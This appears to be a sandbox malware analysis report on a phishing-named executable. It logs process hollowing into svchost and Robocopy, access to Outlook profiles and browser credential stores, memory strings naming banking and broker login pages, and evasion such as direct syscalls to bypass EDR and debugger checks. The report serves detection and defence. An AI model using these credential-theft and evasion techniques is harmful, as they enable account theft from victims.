Source: C:\Users\user\Desktop\Quote #270924.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\Quote #270924.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: Robocopy.exe, 00000004.00000002.3985211901.0000000002DBC000.00000004.00000020.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3985211901.0000000002DB2000.00000004.00000020.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000003.2452999105.0000000002DB2000.00000004.00000020.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3985211901.0000000002DDF000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Quote #270924.exe

ReversingLabs: Detection: 36%

Source: C:\Users\user\Desktop\Quote #270924.exe

File read: C:\Users\user\Desktop\Quote #270924.exe

Source: unknown	Process created: C:\Users\user\Desktop\Quote #270924.exe "C:\Users\user\Desktop\Quote #270924.exe"
Source: C:\Users\user\Desktop\Quote #270924.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Quote #270924.exe"
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	Process created: C:\Windows\SysWOW64\Robocopy.exe "C:\Windows\SysWOW64\Robocopy.exe"
Source: C:\Windows\SysWOW64\Robocopy.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\Quote #270924.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Quote #270924.exe"	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	Process created: C:\Windows\SysWOW64\Robocopy.exe "C:\Windows\SysWOW64\Robocopy.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Quote #270924.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quote #270924.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quote #270924.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quote #270924.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quote #270924.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quote #270924.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quote #270924.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quote #270924.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quote #270924.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quote #270924.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quote #270924.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\Quote #270924.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Windows\SysWOW64\Robocopy.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source: Quote #270924.exe

Static file information: File size 1366661 > 1048576

Source:	Binary string: robocopy.pdb source: svchost.exe, 00000002.00000003.2241073869.000000000081A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2241073869.000000000083B000.00000004.00000020.00020000.00000000.sdmp, HoiWfznxKU.exe, 00000003.00000002.3985552449.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: HoiWfznxKU.exe, 00000003.00000000.2197455182.000000000057E000.00000002.00000001.01000000.00000004.sdmp, HoiWfznxKU.exe, 00000006.00000000.2344151814.000000000057E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: svchost.exe, 00000002.00000003.2175621784.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2177443732.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2273408826.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2273408826.0000000003000000.00000040.00001000.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3986503169.000000000495E000.00000040.00001000.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000003.2277774868.000000000460F000.00000004.00000020.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3986503169.00000000047C0000.00000040.00001000.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000003.2275494698.0000000002E2D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: svchost.exe, svchost.exe, 00000002.00000003.2175621784.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2177443732.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2273408826.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2273408826.0000000003000000.00000040.00001000.00020000.00000000.sdmp, Robocopy.exe, Robocopy.exe, 00000004.00000002.3986503169.000000000495E000.00000040.00001000.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000003.2277774868.000000000460F000.00000004.00000020.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3986503169.00000000047C0000.00000040.00001000.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000003.2275494698.0000000002E2D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: robocopy.pdbGCTL source: svchost.exe, 00000002.00000003.2241073869.000000000081A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2241073869.000000000083B000.00000004.00000020.00020000.00000000.sdmp, HoiWfznxKU.exe, 00000003.00000002.3985552449.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: Robocopy.exe, 00000004.00000002.3987313418.0000000004DEC000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3985211901.0000000002D35000.00000004.00000020.00020000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000000.2344639138.0000000002A0C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.2561116373.0000000006A0C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: Robocopy.exe, 00000004.00000002.3987313418.0000000004DEC000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3985211901.0000000002D35000.00000004.00000020.00020000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000000.2344639138.0000000002A0C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.2561116373.0000000006A0C000.00000004.80000000.00040000.00000000.sdmp

Source: Quote #270924.exe

Static PE information: real checksum: 0xa961f should be: 0x158e8d

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040D919 push ds; iretd	2_2_0040D91A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041F2A2 push esi; iretd	2_2_0041F2AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416C4C push edi; iretd	2_2_00416C5E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416C53 push edi; iretd	2_2_00416C5E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418505 push ebp; iretd	2_2_00418506
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041AD9E push es; iretd	2_2_0041AD9F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004036A0 push eax; ret	2_2_004036A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00425743 push edi; iretd	2_2_0042574E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004167C3 push ecx; iretd	2_2_004167EA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040D7FF push FFFFFFFEh; retf	2_2_0040D801
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00423F83 push edi; iretd	2_2_00423F8C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030309AD push ecx; mov dword ptr [esp], ecx	2_2_030309B6
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_047F09AD push ecx; mov dword ptr [esp], ecx	4_2_047F09B6
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_008220A0 push edi; iretd	4_2_008220AB
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_008240D0 push FFFFFFDEh; retf	4_2_0082420F
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_00813120 push ecx; iretd	4_2_00813147
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_008135A9 push edi; iretd	4_2_008135BB
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_008135B0 push edi; iretd	4_2_008135BB
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_008215CD push FFFFFFC2h; iretd	4_2_008215CF
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_008126AF push 00000046h; iretd	4_2_0081275B
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_008176FB push es; iretd	4_2_008176FC
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_008208DE push edi; iretd	4_2_008208E9
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_008208E0 push edi; iretd	4_2_008208E9
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_0081BBFF push esi; iretd	4_2_0081BC08
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_00814E62 push ebp; iretd	4_2_00814E63
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_046B5557 pushfd ; retf	4_2_046B555A
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_046B15A0 push cs; iretd	4_2_046B15A1
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_046BE68E push esi; iretd	4_2_046BE68F
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_046BF74F push ds; iretd	4_2_046BF750
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_046BF031 push eax; iretd	4_2_046BF034
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4_2_046BD216 push 8702727Ah; ret	4_2_046BD21C

Source: C:\Users\user\Desktop\Quote #270924.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\Quote #270924.exe	API/Special instruction interceptor: Address: 41BD6CC
Source: C:\Windows\SysWOW64\Robocopy.exe	API/Special instruction interceptor: Address: 7FF8C88ED324
Source: C:\Windows\SysWOW64\Robocopy.exe	API/Special instruction interceptor: Address: 7FF8C88ED7E4
Source: C:\Windows\SysWOW64\Robocopy.exe	API/Special instruction interceptor: Address: 7FF8C88ED944
Source: C:\Windows\SysWOW64\Robocopy.exe	API/Special instruction interceptor: Address: 7FF8C88ED504
Source: C:\Windows\SysWOW64\Robocopy.exe	API/Special instruction interceptor: Address: 7FF8C88ED544
Source: C:\Windows\SysWOW64\Robocopy.exe	API/Special instruction interceptor: Address: 7FF8C88ED1E4
Source: C:\Windows\SysWOW64\Robocopy.exe	API/Special instruction interceptor: Address: 7FF8C88F0154
Source: C:\Windows\SysWOW64\Robocopy.exe	API/Special instruction interceptor: Address: 7FF8C88EDA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_030AD1C0 rdtsc

2_2_030AD1C0

Source: C:\Windows\SysWOW64\Robocopy.exe	Window / User API: threadDelayed 3902			Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Window / User API: threadDelayed 6070			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.8 %
Source: C:\Windows\SysWOW64\Robocopy.exe	API coverage: 3.1 %

Source: C:\Windows\SysWOW64\Robocopy.exe TID: 7652	Thread sleep count: 3902 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe TID: 7652	Thread sleep time: -7804000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe TID: 7652	Thread sleep count: 6070 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe TID: 7652	Thread sleep time: -12140000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe TID: 7684	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe TID: 7684	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe TID: 7684	Thread sleep time: -33000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe TID: 7684	Thread sleep time: -39000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\Robocopy.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\Robocopy.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\Robocopy.exe

Code function: 4_2_0081C8D0 FindFirstFileW,FindNextFileW,FindClose,

4_2_0081C8D0

Source: 40mEe3Hg.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 40mEe3Hg.4.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: 40mEe3Hg.4.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 40mEe3Hg.4.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 40mEe3Hg.4.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: 40mEe3Hg.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: 40mEe3Hg.4.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 40mEe3Hg.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 40mEe3Hg.4.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: HoiWfznxKU.exe, 00000006.00000002.3985470272.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll]
Source: 40mEe3Hg.4.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 40mEe3Hg.4.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 40mEe3Hg.4.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 40mEe3Hg.4.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 40mEe3Hg.4.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 40mEe3Hg.4.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Robocopy.exe, 00000004.00000002.3985211901.0000000002D35000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 40mEe3Hg.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 40mEe3Hg.4.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 40mEe3Hg.4.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 40mEe3Hg.4.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: firefox.exe, 00000007.00000002.2562350080.000002D1068FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll==E.P
Source: 40mEe3Hg.4.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 40mEe3Hg.4.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 40mEe3Hg.4.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 40mEe3Hg.4.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 40mEe3Hg.4.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 40mEe3Hg.4.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 40mEe3Hg.4.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 40mEe3Hg.4.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 40mEe3Hg.4.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 40mEe3Hg.4.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 40mEe3Hg.4.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 40mEe3Hg.4.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\Robocopy.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_030AD1C0 rdtsc

2_2_030AD1C0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_00417E93 LdrLoadDll,

2_2_00417E93

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B930B mov eax, dword ptr fs:[00000030h]	2_2_030B930B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B930B mov eax, dword ptr fs:[00000030h]	2_2_030B930B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B930B mov eax, dword ptr fs:[00000030h]	2_2_030B930B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A30B mov eax, dword ptr fs:[00000030h]	2_2_0306A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A30B mov eax, dword ptr fs:[00000030h]	2_2_0306A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A30B mov eax, dword ptr fs:[00000030h]	2_2_0306A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302C310 mov ecx, dword ptr fs:[00000030h]	2_2_0302C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03050310 mov ecx, dword ptr fs:[00000030h]	2_2_03050310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F132D mov eax, dword ptr fs:[00000030h]	2_2_030F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F132D mov eax, dword ptr fs:[00000030h]	2_2_030F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305F32A mov eax, dword ptr fs:[00000030h]	2_2_0305F32A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03027330 mov eax, dword ptr fs:[00000030h]	2_2_03027330
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B2349 mov eax, dword ptr fs:[00000030h]	2_2_030B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302D34C mov eax, dword ptr fs:[00000030h]	2_2_0302D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302D34C mov eax, dword ptr fs:[00000030h]	2_2_0302D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03105341 mov eax, dword ptr fs:[00000030h]	2_2_03105341
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03029353 mov eax, dword ptr fs:[00000030h]	2_2_03029353
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03029353 mov eax, dword ptr fs:[00000030h]	2_2_03029353
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]	2_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]	2_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]	2_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B035C mov ecx, dword ptr fs:[00000030h]	2_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]	2_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B035C mov eax, dword ptr fs:[00000030h]	2_2_030B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FA352 mov eax, dword ptr fs:[00000030h]	2_2_030FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EF367 mov eax, dword ptr fs:[00000030h]	2_2_030EF367
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D437C mov eax, dword ptr fs:[00000030h]	2_2_030D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03037370 mov eax, dword ptr fs:[00000030h]	2_2_03037370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03037370 mov eax, dword ptr fs:[00000030h]	2_2_03037370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03037370 mov eax, dword ptr fs:[00000030h]	2_2_03037370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302E388 mov eax, dword ptr fs:[00000030h]	2_2_0302E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302E388 mov eax, dword ptr fs:[00000030h]	2_2_0302E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302E388 mov eax, dword ptr fs:[00000030h]	2_2_0302E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305438F mov eax, dword ptr fs:[00000030h]	2_2_0305438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305438F mov eax, dword ptr fs:[00000030h]	2_2_0305438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0310539D mov eax, dword ptr fs:[00000030h]	2_2_0310539D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0308739A mov eax, dword ptr fs:[00000030h]	2_2_0308739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0308739A mov eax, dword ptr fs:[00000030h]	2_2_0308739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03028397 mov eax, dword ptr fs:[00000030h]	2_2_03028397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03028397 mov eax, dword ptr fs:[00000030h]	2_2_03028397
